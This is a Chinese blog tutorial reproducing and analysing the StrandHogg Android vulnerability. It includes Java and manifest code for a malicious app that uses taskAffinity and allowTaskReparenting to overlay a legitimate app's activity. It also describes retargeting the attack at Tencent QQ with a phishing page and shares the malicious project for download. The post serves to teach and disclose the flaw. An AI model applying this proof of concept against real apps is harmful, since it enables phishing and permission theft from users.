文章作者MG1937

CNBLOG博客:ALDYS4

QQ:3496925334

0x00 StrandHogg漏洞详情



StrandHogg漏洞 CVE编号:暂无

[漏洞危害]

近日,Android平台上发现了一个高危漏洞

该漏洞允许攻击者冒充任意合法应用,诱导受害者授予恶意应用权限

或者进行恶意钓鱼攻击

由于该漏洞允许恶意软件劫持合法应用的活动,并将自身恶意活动插入在合法活动之前

使得用户并没有意识到自己已经遭到攻击

[漏洞影响Android版本]

至2020年1月26日,经过测试,该漏洞影响Android全版本,包括目前最新的Android10

[漏洞利用条件]

几乎无条件即可利用此漏洞,即使在无Root机型上利用此漏洞也轻而易举

目前已发现36个应用恶意利用该漏洞进行攻击

0x01 漏洞复现

接下来我将新建一个完全合法的项目和一个攻击此合法App的恶意项目

并且让恶意软件劫持合法App,使恶意活动插入到合法活动之前,实现攻击目的

编译一个合法空项目并安装在手机上

项目命名为BeAttacked

包名:com.victim.app

其UI只有一个TextView控件,并且显示Hello World这段字符

该空项目假设为攻击者欲攻击的合法App

接下来新建一个利用此漏洞的恶意软件项目,命名为Attack

布局代码

activity_main.xml

<linearlayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" tools:context=".MainActivity">

    <textview android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Innocent">

</textview></linearlayout>

如上述布局代码所示,该布局将只显示Innocent这段字符

新建一个布局,并且假设这个新建的布局为恶意活动显示的布局

attack.xml

<linearlayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" tools:context=".MainActivity">

    <textview android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Attack Success!">

</textview></linearlayout>

同理,该布局将只显示 Attack Success! 这段字符

接下来新建Innocent类和Attack类,两个类分别显示activity_main和attack这两个布局

我们假设Attack这个类为恶意活动,我不想让用户在启动恶意软件时看到恶意活动而怀疑软件的真实意图

我想让用户在启动软件时只看到无害的活动,从而隐藏软件的真实意图,那么要如何实现呢

我可以预先启动Attack类,紧接着启动Innocent类,这样用户在页面上只能看见最顶层的Innocent类,而不是恶意活动

MainActivity类

public class MainActivity extends AppCompatActivity {

    @Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
//setContentView(R.layout.activity_main);
Intent innocent,attack;
attack=new Intent(this,Attack.class);
attack.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);//将attack活动放置在一个新task中
attack.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION);//取消过度动画,增加恶意软件迷惑性
innocent=new Intent(this,Innocent.class);
innocent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivities(new Intent[]{attack,innocent});//先后启动attack活动与innocent活动
finish();
}
}

接下来分析代码

我让程序创建了成员变量分别为innocent,attack的两个Intent对象

attack和innocent都带上了FLAG_ACTIVITY_NEW_TASK这个Flag

带上该Flag的Intent创建的活动都会在各自的任务栈中,互不影响

其中attack还带有FLAG_ACTIVITY_NO_ANIMATION这个flag

带有该Flag的Intent创建的活动将不显示过度动画

接着我调用了startActivities方法先后启动attack和innocent这两个活动

注意,Innocent这个活动在Attack启动之后才被启动,在活动先后顺序上,Innocent在最顶层

所以用户最终看到的活动只有Innocent这个无害活动

而Attack启动时取消了过度动画,除了个别机型会有稍微闪动外,在启动时无明显变化,从而增加了恶意软件迷惑性

代码已经编写完毕,还有一个问题,攻击者要怎么利用漏洞使得恶意活动插入在合法活动之前呢?

AndroidManifest.xml中编辑代码

<activity android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN">
<category android:name="android.intent.category.LAUNCHER">
</category></action></intent-filter>
</activity>
<activity android:name=".Innocent">
<activity android:name=".Attack" android:taskaffinity="com.victim.app" android:allowtaskreparenting="true">
<!--
其中欲插入到合法活动前的恶意活动的taskAffinity属性就是欲攻击应用的包名
allowTaskReparenting属性为true
-->

代码中,恶意活动的taskAffinity属性就是欲攻击应用的包名

allowTaskReparenting属性为true,这两个属性设置完成后就能使得恶意活动插入到合法活动前了,

为什么这么设置?这就涉及到任务相似性和是否允许活动转移的问题了,这个后面讲,先复现漏洞

编译恶意软件,先打开恶意软件,使得恶意活动在后台就绪,接着再打开欲攻击的合法app

可以发现合法活动已经被恶意活动替代了!

接下来看复现漏洞的GIF图

漏洞成功复现!

0x02 漏洞原理分析

此漏洞利用涉及到任务栈问题,稍微复杂,所以我画了一张图来阐述为什么恶意活动可以插入到合法活动前

在分析之前请先读图,帮助理解



读完图首先就是要理解allowTaskReparenting这个属性的作用是什么

官方文档如下:https://developer.android.com/guide/topics/manifest/activity-element.html#reparent

官方文档的解释:当下一次将启动 Activity 的任务转至前台时,Activity 是否能从该任务转移至与其有相似性的任务 —“true”表示可以转移,“false”表示仍须留在启动它的任务处。(其中的相似性后面再讲,暂且理解成同一个任务栈)

我对官方文档的理解:

假设存在一个任务栈,将此任务栈命名为Task_1

Task_1中存放着两个Activity,分别是Activity_1和Activity_2,并且这个任务栈中的两个活动均在后台运行,用户不可见

假设Activity_1的allowTaskReparenting属性为true

Activity_2的allowTaskReparenting属性为默认值false

当用户 启动Activity_2时,任务栈Task_1也就随着Activity_2到达前台

但Activity_1的allowTaskReparenting属性为true,根据官方文档的解释,该活动能从后台转移至与其有相似性的任务,也就是同样转移至Task_1,

而此时Task_1已经在前台了,相当于Activity_1在Activity_2启动之后也启动了,从而到达了最顶层,而用户最终看到的活动也就是Activity_1了

理解完allowTaskReparenting属性之后.就要解释taskAffinity属性了

taskAffinity直接翻译过来就是任务相关性,

官方文档对该属性的解释为:

从概念上讲,具有同一相似性的 Activity 归属同一任务(从用户的角度来看,则是归属同一“应用”)。任务的相似性由其根 Activity 的相似性确定。

而确定应用相似性的属性就是taskAffinity

首先要知道,若应用没有特别定义taskAffinity的内容的话

则该应用中每个活动的taskAffinity属性的默认内容就是应用包名,所以在没有特别定义taskAffinity的应用中,每个活动均在同一个任务栈中

重新查看恶意活动的清单文件代码

<activity android:name=".Attack" android:taskaffinity="com.victim.app" android:allowtaskreparenting="true">

而要实现将恶意活动插入到合法活动之前,首先就需要恶意活动在合法活动的任务栈中

需要注意的是任务栈可以放置使用相同的taskAffinity的Activity,即使是跨程序也可以共享同一个任务栈

这就可以解释为什么需要恶意活动的taskAffinity属性为欲攻击应用的包名,这样就能让恶意活动与合法活动存在于同一任务栈中了

接着使恶意活动的allowTaskReparenting属性为true,这样就能在合法应用中的活动转至前台时,使得恶意活动同样转至前台

至此,整个攻击流程结束

0x03 漏洞利用及其危害

在0x01中,我已经完成了漏洞复现

为了展现出该漏洞的具体危害,我对复现过程中的Attack类及其布局进行了修改

将Attack类的taskAffinity属性改为腾讯QQ的包名,编译并安装

可以看到我将恶意活动的布局修改为钓鱼页面,真正展现出这个漏洞的危害性

攻击者不仅可以利用该漏洞精心设计一个页面来进行钓鱼攻击,也可以利用该漏洞诱导用户授予恶意软件相应权限进行恶意攻击

最后放出我修改过的恶意软件项目:

StrandHogg.zip 提取码: hci6

【Android漏洞复现】StrandHogg漏洞复现及原理分析_Android系统上的维京海盗的更多相关文章

  1. [原创]Android Studio的Instant Run(即时安装)原理分析和源码浅析

    Android Studio升级到2.0之后,新增了Instant Run功能,该功能可以热替换apk中的部分代码,大幅提高测试安装的效率. 但是,由于我的项目中自定义了一些ClassLoader,当 ...

  2. Android中为APP创建快捷方式的原理(自己的理解)

    我们首先来看Android中为APP创建快捷方式的原理: 从图上可以看出,Android大致分7步完成快捷方式的创建: 第一步:Android系统的launcher程序会调用它的pickShortcu ...

  3. ScrollView嵌套ListView,ListView完全展开及makeMeasureSpec测量机制原理分析

    在实际应用中,经常会碰到非常规的布局要求,比如说在ScrollView里嵌套ListView,ScrollView和ListView都是可以滚动的控件,这样布局看似很奇怪,但是有些效果又不得不这样做. ...

  4. Firmware 加载原理分析【转】

    转自:http://blog.csdn.net/dxdxsmy/article/details/8669840 [-] 原理分析 实现机制 总结   前言 前段时间移植 wifi 驱动到 Androi ...

  5. iOS App Crash原理分析

    预备知识:OS X系统分析 1.内核XNU是Darwin的核心,也是整个OS X的核心.XNU本身由以下几个组件构成: Mach微核心 BSD层 libKern I/O Kit 此外,内核是模块化的, ...

  6. 通过qemu复现路由器漏洞

    目录 简介 环境搭建 固件解包 复现漏洞,IDA调试 参考资料 简介 qemu和vmware一样,一种虚拟机软件,只不过qemu能够虚拟的平台更加丰富一些.能够虚拟很多嵌入式平台的设备. 工作上需要向 ...

  7. ActiveMQ反序列化漏洞(CVE-2015-5254)复现

      0x00 漏洞前言 Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring Framework等.Apache ...

  8. Intel产品AMT本地及远程提权漏洞(CVE-2017-5689)复现 【转载自freebuf.com】

    零.绪论: 1.鸣谢freebuf的文章,主要是学习这个漏洞,文章地址: Intel产品AMT本地及远程提权漏洞(CVE-2017-5689)复现 2.在shadon上找了多个该漏洞尝试复现失败(评论 ...

  9. Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现

    Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现 一.漏洞描述 该漏洞出现在fileserver应用中,漏洞原理:ActiveMQ中的fileserver服务允许用户通 ...

随机推荐

  1. (8)MySQL进阶篇SQL优化(InnoDB锁-共享锁、排他锁与意向锁)

    1.锁的分类 锁(Locking)是数据库在并发访问时保证数据一致性和完整性的主要机制.之前MyISAM锁章节已经讲过锁分类,而InnoDB锁按照粒度分为锁定整个表的表级锁(table-level l ...

  2. OpenCV on Mac OSX: A step-by-step guide

    I'm using OpenCV for my 4th year design project and setting it up was a huge pain. I had to look thr ...

  3. 【敏杰开发】Beta阶段项目展示

    [敏杰开发]Beta阶段项目展示 项目相关地址汇总 线上地址:http://roadmap.imcoming.top 前端仓库:https://github.com/MinJieDev/Roadmap ...

  4. 了解常用数据库MySQL、Oracle、MongoDB

    本文由 简悦 SimpRead 转码, 原文地址 blog.csdn.net 注:转载文章 什么是数据库 简单的说,数据库(英文 Dtabase)就是一个存放数据的仓库,这个仓库是按照一定的数据结果( ...

  5. primary key

    只要使用innodb就要为表指定主键: 如果不指定mysql就会自己找不为空且为一的作为主键,如果找不到,就会使用默认的(软件自己预定好的)作为主键: 主键分为单列主键和复合主键,用法和单列唯一,联合 ...

  6. https://www.jqhtml.com/30047.html strace + 命令: 这条命令十分强大,可以定位你程序到底是哪个地方出了问题

    https://www.jqhtml.com/30047.html 我的Linux手册 服务器 浏览数:72 2019-1-30 原文链接 基础安装 # CentOS sudo yum install ...

  7. 配置文件修改java安全级别和站点信息

    配置文件修改java安全级别和站点信息原创Green_1001 最后发布于2015-04-22 23:00:09 阅读数 516 收藏展开 通过配置文件修改java安全级别 配置文件名称为deploy ...

  8. mysql基础之mariadb的安装,连接,用户,密码,权限设置语句详解

    一.mariadb安装 1.配置mariadb源: [root@ren7 ~]# vim /etc/yum.repos.d/mariadb.repo [mariadb] name = MariaDB ...

  9. IDEA 打包和导入 Jar 包

    Jar 包介绍 Jar 包 ( Java Archive,Java 归档文件) 是与平台无关的压缩文件格式,它允许将多个 Java 源文件编译生成的 class 文件(即字节码文件)打包成一个压缩文件 ...

  10. 1.4linux文件和目录常用命令

    文件和目录常用命令 目标 查看目录内容 ls 切换目录 cd 创建和删除操作 touch rm mkdir 拷贝和移动文件 cp mv 查看文件内容 cat more grep 其他 echo 重定向 ...